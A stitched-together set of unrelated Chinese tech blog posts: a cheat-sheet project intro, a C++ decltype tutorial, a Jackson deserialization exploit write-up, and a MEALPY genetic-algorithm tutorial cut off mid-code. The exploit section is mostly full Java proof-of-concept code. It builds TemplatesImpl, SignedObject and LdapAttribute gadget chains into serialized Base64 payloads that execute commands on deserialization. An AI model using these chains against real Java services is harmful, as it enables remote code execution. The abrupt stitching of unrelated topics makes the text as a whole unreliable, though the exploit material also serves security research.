1、前言

在当今信息爆炸的时代，知识的获取、整理和应用显得尤为重要。随着个人职业发展和学习需求的不断提升，搭建一个个人知识库已成为提升竞争力的关键一环。个人知识库不仅是一个信息的存储库，更是一个思维的工具箱，它能够帮助我们系统地整理各类知识，形成自己的知识体系，并在需要时快速准确地找到所需信息。

通过搭建个人知识库，我们可以更好地管理自己的学习资源，避免信息过载和遗忘的困扰。同时，个人知识库还能促进知识的深化和拓展，让我们在学习的过程中不断发现新的知识点和关联，形成更加完整的认知结构。此外，个人知识库还具有很高的实用性，它可以成为我们工作和学习中的得力助手，帮助我们在面对复杂问题时能够迅速找到解决方案，提高工作效率和学习成果。

因此，搭建个人知识库对于个人成长和职业发展具有重要意义。通过不断地积累和整理知识，我们可以不断提升自己的综合素质和能力水平，为未来的挑战和机遇做好充分的准备。

2、reference介绍

今天要介绍的内容
reference
，就是来帮我们解决这个问题。该项目是一个开源的速查表项目，旨在为开发人员提供便捷的知识查询和参考工具。该项目包含了各种技术领域的常用知识点、代码片段和最佳实践，旨在帮助开发人员快速回顾和查找关键信息，提高开发效率。

项目地址：

https://github.com/jaywcjlove/reference

项目特点：

• 内容丰富
  ：该项目涵盖了前端开发、后端开发、数据库、算法与数据结构等多个领域的知识点，几乎覆盖了开发人员在日常工作中可能遇到的各种问题。
• 易于查询
  ：项目中的知识点按照主题和关键词进行了分类和索引，方便用户快速定位所需信息。
• 简洁明了
  ：每个知识点都用简洁明了的语言进行描述，避免了冗长和复杂的解释，使用户能够迅速理解并应用。
• 更新及时
  ：随着技术的不断发展，该项目会定期更新内容，确保所提供的知识点和代码片段始终与最新技术保持同步。

3、安装、使用

我们可以通过docker来安装：

docker run --name reference -itd -p 9667:3000 wcjiang/reference:latest

接着，我们在浏览器访问 http://ip:9667即可查询你需要的各种命令了。如下：

速查表地址如下：

https://wangchujiang.com/reference/

以django查找为例：

总之，
https://github.com/jaywcjlove/reference
项目是一个方便实用的速查表工具，适用于广大开发人员在日常工作中快速查找和回顾知识点。通过浏览文档、搜索关键词和复制代码片段等操作，你可以轻松利用该项目提高开发效率。

decltype关键字是C++11新标准引入的关键字，它和关键字auto的功能类似，也可以自动推导出给定表达式的类型，但它和auto的语法有些不同，auto推导的表达式放在“=”的右边，并作为auto所定义的变量的初始值，而decltype是和表达式结合在一起，语法如下：

decltype(expr) var;

它的语法像是函数调用，但它不是函数调用而是运算符，和sizeof运算符类似，在编译期间计算好，表达式expr不会被真正执行，因此不会产生汇编代码，如下的代码：

int func(int);
decltype(func());

func函数不会真正被调用，只会在编译期间获取他的类型。decltype和auto在功能上大部分相似，但推导规则和应用场景存在一些区别，如用auto定义变量时必须提供初始值表达式，利用初始值表达式推导出类型并用它作为变量的初始值，而decltype定义变量时可以不需要初始值。还有使用auto作为值语义的推导时，会忽略表达式expr的引用性和CV属性，而decltype可以保留这些属性，关于auto的详细解析，可以参考另一篇文章
《深入解析C++的auto自动类型推导》
。

decltype在普通代码中应用并不广泛，主要用在泛型编程中较多，因此没有auto使用得多，下面将介绍decltype的推导规则，在介绍过程中遇到和auto规则不一样的地方则将两者对照说明，最后再介绍decltype无法被auto替代的应用场景。

推导规则

我将decltype的推导规则归纳为两条，根据expr有没有带小括号分为两种形式，如以下的形式：

decltype(expr)
// 或者
decltype((expr))

• expr没有带括号的情形

当expr是单变量的标识符、类的数据成员、函数名称、数组名称时，推导出来的结果和expr的类型一致，并且会保留引用属性和CV修饰词，如下面的例子：

int func(int, int) {
    int x;
    return x;
}

class Base {
public:
	int x = 0;
};

int x1 = 1;		// (1) decltype(x1)为int
const int& x2 = 2;	// (2) decltype(x2)为const int&
const Base b;				
b.x;			// (3) decltype(b.x)为int
int a[10];		// (4) decltype(a)为int[10]
decltype(func);		// (5) 结果为int(int, int)

(1)式decltype(x1)的结果和x1的类型一致，为int类型。

(2)式的结果也是和x2一致，这里和auto的推导规则不同的是，它可以保留x2的引用属性和const修饰词，所以它的类型是const int&。

(3)式中定义的类对象b虽然是const的，但成员x的类型是int类型，所以结果也是int。

(4)和(5)都保留了原本的类型，这个也是和auto的推导结果不同的，使用auto推导的规则它们会退化为指针类型，这里则保留了它们数组和函数的类型。

当expr是一条表达式时，decltype(expr)的结果视expr表达式运算后的结果而定（在编译时运算而非运行时运算），当expr返回的结果是右值时，推导的结果和返回结果的类型一致，当expr返回的结果是左值时，推导的结果是一个引用，见下面的例子：

int x1 = 1;
int x2 = 2;
decltype(x1 + x2);	// (1) int
decltype(func());	// (2) int
decltype(x1,x2);	// (3) int&
decltype(x1,0);		// (4) int
decltype(a[1]);		// (5) int&

(1)式因为两个变量相加后返回一个数值，它是一个右值，所以推导结果和它的类型一致，这里换成加减乘除都是一样的。

(2)是一个函数调用，跟上面的使用函数名称不同，这里会调用函数（编译时），根据函数的返回结果来确定推导出来的类型，如果返回结果是引用或者指针类型，则推导结果也会引用或者指针类型，此函数返回的结果是int型，所以结果也是int型。

(3)和(4)是逗号表达式，它的返回结果是逗号后的那个语句，(3)是返回x2，它是一个变量，是一个左值，所以推导结果是int&，而(4)的返回结果是0，是一个右值，因此结果和它的类型一致。

(5)是访问数组中的元素，它是一个左值，因此推导结果是一个引用。

• expr带括号的情形

当expr带上括号之后，它的推导规则有了变化，表达式加上括号后相当于去执行这条语句然后根据返回结果的类型来推导，见下面的例子：

class Base {
public:
	int x = 0;
};

int x1 = 1;
int x2 = 2;
const Base b;
b.x;
decltype((x1+x2)); 	// (1) int
decltype((x1));		// (2) int&
decltype((b.x));	// (3) const int&

(1)式中相加后的结果是一个右值，加上括号后依然是一个右值，因此推导结果是int。

(2)式中跟之前没有加括号的情况不一样，加上括号相当于是返回x1变量，因此是一个左值，推导结果是一个引用。

(3)式中也跟之前的结果不一样了，加上括号相当于返回类的数据成员x，因此是一个左值，推导结果是一个引用，但因为定义的类对象b是一个const对象，要保持它的内容不可被修改，因此引用要加上const修饰。

最后还有要注意一点的是，decltype和auto一样也可以和&和
一起结合使用，但和auto的规则不一样，auto与&和
结合表示定义的变量的类型是一个引用或者指针类型，而decltype则是保留这个符号并且和推导结果一起作为最终的类型，见下面的例子：

int x1 = 1;
auto *pi = &x1;		// (1) auto为int，pi为int*
decltype(&x1) *pp；	// (2) decltype(&x1)为int*，pp为int**

(1)式中的auto推导结果为int而不是int
，要将pi定义为指针类型需要明确写出auto
。

(2)式的decltype(&x1)的推导结果为int
，它会和定义中的
（*pp前面的星号）结合在一起，因此最终的结果是int**。

decltype的使用场景

上面提到decltype和auto的一个区别就是使用auto必须要有一个初始值，而decltype在定义变量时可以不需要初始值，这在定义变量时暂时无法给出初始值的情况下非常有用，见下面的例子：

#include <map>
#include <string>

template<typename ContainerT>
class Object {
public:
    void init(ContainerT& c) { it_ = c.begin(); }
private:
    decltype(ContainerT().begin()) it_;
};

int main() {
    std::map<std::string, int> m;
    Object<std::map<std::string, int>> obj;
    obj.init(m);
}

在定义类的成员it_时还没有初始值，这时无法使用auto来推导它的类型，况且这里也无法使用auto来定义类的数据成员，因为现在还不支持使用auto来定义非静态的数据成员的，但使用decltype却是可以的。

还有一种情形是使用auto无法做到的，就是auto在使用值语义的推导规则的时候会忽略掉引用属性和CV修饰词，比如：

int i = 1;
const int& j = i;
auto x = j;	// auto的结果为int

这里x无法推导出和变量j一样的类型，你可能会说，如果要使用引用类型，那可以这样写：

const auto& x = j;	// auto的结果为int, x的类型const int&

但这又会带来其它的问题，这样定义出来的变量的类型永远都是const引用的类型，无法做到根据不同的表达式推导出相应的类型，如果使用decltype则可以做到：

int i = 1;
const int& j = i;
decltype(j) x = j;	// x的类型为const int&
decltype(i) y = i;	// y的类型为int

上面的代码使用decltype就可以根据不同的初始值表达式来推导出不同的结果。但你可能会觉得初始值表达式要在左右两边写上两遍，比较累赘，单个变量的还好，如果是个长表达式的话就会显得代码很冗余，也不优雅，比如：

int x = 1;
int y = 2;
double z = 5.0;
decltype(x + y + z) i = x + y + z;

如果上面的例子中表达式再长点就更难看也更麻烦了，幸好C++14标准提出了decltype和auto结合的功能，也就是decltype(auto)的用法。

decltype(auto)的使用解析

自动推导表达式的结果的类型

decltype(auto)的使用语法规则如下：

decltype(auto) var = expr;

它的意思是定义一个变量var，auto作为类型占位符，使用自动类型推导，但推导的规则是按照decltype的规则来推导。因此上面的代码可以这样来写：

decltype(auto) j = x + y + z;

它的用法跟使用auto一样，利用右边的表达式来推导出变量j的类型，但是推导规则使用的是decltype的规则。这对需要保持右边表达式的引用属性和CV修饰词时就非常有用，上面的代码可以改为：

int i = 1;
const int& j = i;
decltype(auto) x = j;	// x的类型为const int&
decltype(auto) y = i;	// y的类型为int

decltype(auto)用于推导函数返回值的类型

decltype(auto)可以用于推导函数返回值的类型，auto也可以用于推导函数的返回值类型，在讲解auto的那篇文章中就已讲解过。但auto有个问题就是会忽略掉返回值的引用属性，但如果你用auto&来推导返回值类型的话，那所有的类型都将是引用类型，这也不是实际想要的效果，有没有办法做到如果返回值类型是值类型时就推导出值类型，如果返回值类型是引用则推导出结果是引用类型？假设有一个处理容器元素的函数，它接受一个容器的引用和一个索引，函数处理完这个索引的元素之后再返回这个元素，一般来说，容器都有重载了“[]"运算符，但有的容器可能返回的是这个元素的值，有的可能返回的是元素的引用，如：

T& operator[](std::size_t index);
// 或者
T operator[](std::size_t index);

这时我们就可以用decltype(auto)来自动推导这个函数的返回值类型，函数的定义如下：

template<typename Container, typename Index>
decltype(auto) process(Container& c, Index i) {
    // processing
    return c[i];
}

当传进来的容器的operator[]函数返回的是引用时，则上面的函数返回的是引用类型，如果operator[]函数返回的是一个值时，则上面的函数返回的是这个值的类型。

decltype(auto)使用陷阱

最后，对于decltype(auto)能够推导函数返回值为引用类型这一点，需要提醒一下的是，小心会有下面的陷阱，如下面的函数：

decltype(auto) func() {
    int x;
    // do something...
    return x;
}

这里推导出来的返回值类型是int，并且会拷贝局部变量x的值，这个没有问题。但如果是这样的定义：

decltype(auto) func() {
    int x;
    // do something...
    return (x);
}

这个版本返回的是一个引用，它将引用到一个即将销毁的局部变量上，当这个函数返回后，所返回的引用将引用到一个不存在的变量上，造成引用空悬的问题，程序的结果将是未知的。无论是有意的还是无意的返回一个引用，都要特别小心。

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：深入解析decltype和decltype(auto)

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前言

Springboot一般都会自带
JackSon
这个依赖包，
JackSon
跟
Fastjson
有相同的功效

简单复现

package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable;

public class User implements Serializable {
    public User() {
    }

    public Object getName() throws IOException {
        Runtime.getRuntime().exec("calc");
        return "1";
    }

    public Object setName(String name) {
        System.out.println("setname");
        return "2";
    }
}

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;

public class JakesonDemo {
    public static void main(String[] args) {
        User user = new User();
        POJONode jsonNodes = new POJONode(user);
        jsonNodes.toString();
    }
}

运行即可弹计算器

Jackson反序列化利用链

注意点

PoJoNode
类是继承
ValueNode
，
ValueNode
是继承
BaseJsonNode
类，我们看看
BaseJsonNode
类

它拥有
writeReplace
方法，有这个方法就意味着反序列化时不会走正常渠道，而是走这个
writeReplace
方法，这是反序列化的规则，解决办法就是重写
BaseJsonNode
类

把这个
writeReplace
注释掉即可

TemplatesImpl链

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;

public class TemplatesImplDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        System.out.println(serial(exp));
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

TemplatesImpl的流程就不跟了，简单的跟一下Jackson的流程，BadAVEE里面触发toString

进入到重写的
BaseJsonNode
类的toString方法

中间流程断了，。。。。，跟到最后，在
StdSerializer
类中
wrapAndThrow
方法调用到了getter

SignObject链

二次反序列化，无需多讲

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class SignObjectDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[][] bytes = new byte[][]{ct.toBytecode()};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
        POJONode pojoNode2 = new POJONode(signedObject);
        BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
        Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val2.setAccessible(true);
        val2.set(exp2,pojoNode2);
        System.out.println(serial(exp2));
        deserial(serial(exp2));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

LdapAttribute链

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;

public class LdapAttributeDemo {
    public static void main( String[] args ) throws Exception {
        String ldapCtxUrl = "ldap://127.0.0.1:1099/";
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                new Object[] {"name"});
        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));
        POJONode jsonNodes = new POJONode(ldapAttribute);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

LdapAttribute
类中有getter方法调用了lookup


两处入口，上面poc进入的是
getAttributeDefinition
方法，payload有些讲究，我们之前的payload都是
ldap://xxxxx/xxx
，这里payload必须是
ldap://xxxx/
不需要后缀了，具体原因是，艹了，没有java文件调试不了，不想去下了，大伙去看别的师傅的思路吧

简介

官网:
MealPY官网

开源许可: (GPL) V3

MEALPY简介

官网简介翻译

MEALPY (MEta-heuristic ALgorithms in PYthon) 是一个提供最新自然启发式元启发算法的Python模块，它是最大的此类Python模块之一。这些算法模仿自然界中的成功过程，包括生物系统以及物理和化学过程。mealPy 的目标是免费向所有人分享元启发领域的知识，帮助各领域的研究者尽快接触到优化算法，并且实现从经典到最先进的元启发算法，涵盖了元启发算法的全部历史。

MEALPY 的用途广泛，你可以使用它来分析算法参数、进行算法的定性和定量分析、分析算法的收敛速率、测试和分析算法的可扩展性和健壮性。该库目前的版本为 3.0.1，共包含 215 种算法，其中包括 190 种官方算法（原始算法、混合算法、变体算法）和 25 种开发算法。

MEALPY 的特点在于支持解决连续和离散问题，并且在新版本中，所有功能都被封装在类和对象之中，使得定义模型一次后，就可以解决多个问题。

一句话总结

MEALPY 是一个强大的
元启发式算法
Python库，它适合用于研究和解决各种优化问题，特别是对于那些复杂的
NP难题
。

安装

安装软件和库

• python 3.7或以上
• vscode 或 pycharm (我自己用vscode)
• vscode 插件：Python Extension Pack(pycharm 忽略)
• python 库： numpy, scipy, pandas, matplotlib, mealpy( 其他遇到缺失报错的再安装也不迟）

python库直接在插件里搜就是了

基本概念

二话不说，先上一个简单代码：

from mealpy import FloatVar, GA

def objective_func(solution):
    return solution**2

problem_dict = {
    "obj_func": objective_func,
    "bounds": FloatVar(lb=[-10000], ub=[10000]),
    "minmax": "min",
}

optimizer = GA.BaseGA(epoch=100, pop_size=50, pc=0.85, pm=0.1)
optimizer.solve(problem_dict)

print(optimizer.g_best.solution) 
print(optimizer.g_best.target.fitness) 

代码解释

导入

from mealpy import FloatVar, GA

• 导入了 mealpy库里面的 FloatVar类,说明输入输出的是 float 类型的变量
• 导入了 mealpy库里面的 GA（Genetic Algorithm）遗传算法（下面解释）

定义目标函数（objective_func）

def objective_func(solution):
    return solution**2

obj_func 是一个在优化问题中用来评估解决方案好坏的目标函数（objective function）。在元启发式算法中，obj_func 通常是一个接收单个解决方案（一个代表可能解的numpy向量）作为输入，并返回一个单一的实数值（在单目标优化问题中）或一个实数值列表（在多目标优化问题中）的函数。
上面objective_func 目的是找到
\(f(x)=x^2\)
,的极值（在问题字典里定义求最大还是最小值）
那么有人就会问，
\(f(x)=x^2\)
的极值不是 x=0的时候，极值也是0吗？

我想说，是的，你说的对，这不是为了举简单例子嘛(比官网例子还简单一点），如果我拿出下面公式，阁下如何应对？
\(f(x)=\sqrt[3]{x^3-x^2-x+1+y^3-xy^2}\)
所以现在我们假装不知道
\(y=x^2\)
的极值公式和图像，求一下x等于多少的时候，y的最小值。

创建问题字典（problem_dict）

problem_dict = {
    "obj_func": objective_func,
    "bounds": FloatVar(lb=[-10000], ub=[10000]),
    "minmax": "min",
}

在mealpy库中，problem_dict 是一个字典，它定义了优化问题的所有必要信息。这个字典通常包含下列关键字：

• obj_func：这是目标函数（objective function），它接收一个候选解（通常是一个numpy数组）并返回一个评估值（对于最小化问题来说越小越好，对于最大化问题来说越大越好）。上面已经定义好了objective_func。
• bounds：这是变量的边界，它定义了解空间的上下界。在mealpy中，你可以使用不同的类型来定义边界，如FloatVar, IntVar, BoolVar等，以适应不同类型的优化问题。假设我们不知道
  \(f(x)=x^2\)
  的图像，但看样子，x可以取值
  \((-\infty,\infty)\)
  ,我们程序不可能取
  \((-\infty,\infty)\)
  ，不做特殊处理肯定会溢出，我现在就小小试一下，设
  \(x \in [-10000,10000]\)
  , 然后x是实数，所以bounds属于FloatVar类型，lb,ub表示上下界，是个数组，但因为我们现在的例子只有一个输入,所以[]里面只有一个边界。
• minmax：这是一个字符串，它指示优化问题是最小化问题（"min"）还是最大化问题（"max"）。我们这里是例子求
  \(f(x)\)
  最小值, 所以设置为min

初始化优化程序并执行 （以遗传算法为例）

optimizer = GA.BaseGA(epoch=100, pop_size=50, pc=0.85, pm=0.1)
optimizer.solve(problem_dict)

这段代码做了以下两件主要事情：

• 初始化遗传算法优化器。
• 使用该优化器解决定义好的优化问题。

让我们解释这段代码之前，先说一下什么是遗传算法

遗传算法(觉得太长可以跳过不看)

遗传算法（Genetic Algorithm，简称GA）是计算数学中用于解决优化和搜索问题的一种启发式算法。它是由约翰·霍兰德（John Holland）在20世纪70年代初期发展起来的，其设计灵感来源于生物进化中的自然选择和遗传学原理。

遗传算法的基本概念包括个体、种群、适应度、选择、交叉（或称为杂交，英文为crossover）、变异等，以下是这些概念的详细介绍：

个体（Individual）：

在遗传算法中，每一个可能的解都称为一个“个体”，通常表示为一串“基因”，这可以是二进制值、实数或其他编码形式。
我们上面例子里，因为输入只有一个，那么个体就是那个公式里的
\(x\)
浮点本身，或者是代码里目标方法（objective_func）的 solution参数本身。

种群（Population）：

种群是一组个体的集合，算法从这个种群中选择个体来进行遗传操作并产生新一代种群。
我们上面例子里，
pop_size=50
就是一开始有 50个x(一般初始化，都是随机的，[-10000,10000]范围内随机生成50个x)

适应度（Fitness）：

适应度是评价个体优劣的标准，它是一个函数，用于衡量个体解决问题的能力。个体的适应度越高，它被选中并遗传到下一代的机会就越大。
因为我们设置了求最小值
"minmax": "min",
，可以认为Fitness等价于例子里的 objective_func。

选择（Selection）：

选择是根据个体的适应度从当前种群中选出一部分个体，用于生成下一代。常见的选择方法有轮盘赌选择、锦标赛选择, 随机选择等。
BaseGA 类通过
selection_process__
方法实现了几种不同的选择策略：

• 轮盘赌选择（Roulette Wheel Selection）：使用
  get_index_roulette_wheel_selection
  方法，根据适应度比例选择个体。
• 随机选择（Random Selection）：随机选择两个不同的个体作为父母。
• 锦标赛选择（Tournament Selection）：使用
  get_index_kway_tournament_selection
  方法，随机选择一组个体，然后从中挑选出最好的个体。k_way 参数决定了锦标赛的大小。
  BaseGA 类的初始化方法
  init
  允许用户设置选择策略（selection 参数），默认是
  锦标赛选择
  。

class BaseGA(Optimizer):
	def __init__(self, epoch: int = 10000, pop_size: int = 100, pc: float = 0.95, pm: float = 0.025, **kwargs: object) -> None:
	# ... 初始化代码
	self.selection = "tournament"
	if "selection" in kwargs:
			self.selection = self.validator.check_str("selection", kwargs["selection"], ["tournament", "random", "roulette"])
	# ... 初始化代码

选择策略，如果不指定 selection 参数，则会使用默认的锦标赛选择。如果你想使用轮盘赌选择或随机选择，需要在创建 BaseGA 实例时通过 selection 参数明确指定。

例子使用方式，例如：

model = BaseGA(epoch=100, pop_size=50, pc=0.85, pm=0.1, selection="roulette")

交叉（Crossover）：

交叉是遗传算法中产生新个体的主要方式。它模拟生物学中的杂交现象，通过组合两个“父母”个体的部分基因来产生“子代”个体。
例子中 pc=0.85 表示交叉概率是 85%，意味着每一代中有 85% 的个体将通过交叉来产生新的后代。
在BaseGA类中，交叉（Crossover）是通过
crossover_process__
方法实现的。该方法定义了几种不同的交叉策略：

• 算术交叉（Arithmetic Crossover）：通过算术运算结合两个父代的基因来产生子代。在这个实现中，可能是按照一定权重将两个父代的基因线性组合。

• 单点交叉（One-Point Crossover）：选择一个随机的位置（切点），然后交换两个父代在这个切点位置以前和以后的基因段，从而产生两个子代。

• 多点交叉（Multi-Point Crossover）：选择多个切点，并在这些切点位置将父代的基因段交叉组合，产生子代。

• 均匀交叉（Uniform Crossover）：对于每个基因位点，随机决定该位置的基因是来自父代1还是父代2。这个决策是独立于其他基因位点的。

  以下是
  crossover_process__
  方法的代码实现：

def crossover_process__(self, dad, mom):
	if self.crossover == "arithmetic":
		w1, w2 = self.crossover_arithmetic(dad, mom)
	elif self.crossover == "one_point":
		cut = self.generator.integers(1, self.problem.n_dims-1)
		w1 = np.concatenate([dad[:cut], mom[cut:]])
		w2 = np.concatenate([mom[:cut], dad[cut:]])
	elif self.crossover == "multi_points":
		idxs = self.generator.choice(range(1, self.problem.n_dims-1), 2, replace=False)
		cut1, cut2 = np.min(idxs), np.max(idxs)
		w1 = np.concatenate([dad[:cut1], mom[cut1:cut2], dad[cut2:]])
		w2 = np.concatenate([mom[:cut1], dad[cut1:cut2], mom[cut2:]])
	else:           # uniform
		flip = self.generator.integers(0, 2, self.problem.n_dims)
		w1 = dad * flip + mom * (1 - flip)
		w2 = mom * flip + dad * (1 - flip)
	return w1, w2

在这个方法中，dad和mom参数表示两个父代的基因串。根据self.crossover的值，它决定使用哪种交叉策略。每种策略都会计算并返回两个子代w1和w2的基因串。

注意，实际的交叉操作是否发生是由交叉概率self.pc控制的，这个概率决定了在种群中有多少比例的个体会经历交叉过程。如果随机数小于self.pc，那么调用crossover_process__方法进行交叉；否则，子代直接继承父代的基因。

简单来说，BaseGA类中的交叉是通过拼接两个父代的某些部分来产生子代，具体的拼接方式取决于所选的交叉策略。
BaseGA默认使用均匀交叉uniform，对于浮点数的均匀交叉（Uniform Crossover），方法与处理二进制串或整数串的方式类似，但是要考虑到浮点数的连续性。在均匀交叉中，每个基因位点都有一个独立的概率决定是从父代1继承还是从父代2继承。

对于浮点数列表的均匀交叉，可以按如下方式进行：

1. 对于个体中的每一个浮点数位点（在这个案例中，由于只有一个浮点数，所以只有一个位点）生成一个0到1之间的随机数。
2. 如果这个随机数小于预设的阈值（通常是0.5），则从父代1中选取该位点的值；否则，从父代2中选取该位点的值。

因为在上面例子中，每个个体只包含一个浮点数，所以均匀交叉将简化为以下步骤：

1. 生成一个0到1之间的随机数。
2. 如果随机数小于0.5，子代将继承父代1的值；如果随机数大于或等于0.5，子代将继承父代2的值。

变异（Mutation）：

变异是在个体的基因序列中随机改变某些基因的过程，这增加了种群的多样性，有助于算法跳出局部最优解，探索更广泛的搜索空间。
在BaseGA类中，变异（Mutation）是通过
mutation_process__
方法实现的。该方法根据所选的变异策略来对子代进行变异操作。变异操作的目的是在遗传算法的演化过程中引入一些随机性，以避免算法过早收敛到局部最优解，并增加搜索全局最优解的可能性。

BaseGA类提供了以下几种变异策略：

• 翻转变异（Flip Mutation）：随机选择基因串中的一个或多个位点，并将其值改变。对于浮点数，这通常意味着重新生成一个在给定范围内的随机值来替换当前的基因值。
• 交换变异（Swap Mutation）：随机选择基因串中的两个位点，并交换它们的值。
• 扰乱变异（Scramble Mutation）：随机选择基因串中的一段序列，并将这段序列中的基因值进行随机打乱。
• 逆序变异（Inversion Mutation）：随机选择基因串中的一段序列，并将这段序列中的基因值逆序排列。

在BaseGA类的mutation_process__方法中，根据变异概率self.pm来决定是否对子代进行变异操作（默认是翻转变异Flip)。以下是mutation_process__方法的代码实现（部分）：

def mutation_process__(self, child):
    if self.mutation_multipoints:
        if self.mutation == "swap":
            # ... Swap mutation logic ...
        else:  # "flip"
            mutation_child = self.problem.generate_solution()
            flag_child = self.generator.uniform(0, 1, self.problem.n_dims) < self.pm
            return np.where(flag_child, mutation_child, child)
    else:
        if self.mutation == "swap":
            # ... Swap mutation logic for single point ...
        elif self.mutation == "inversion":
            # ... Inversion mutation logic ...
        elif self.mutation == "scramble":
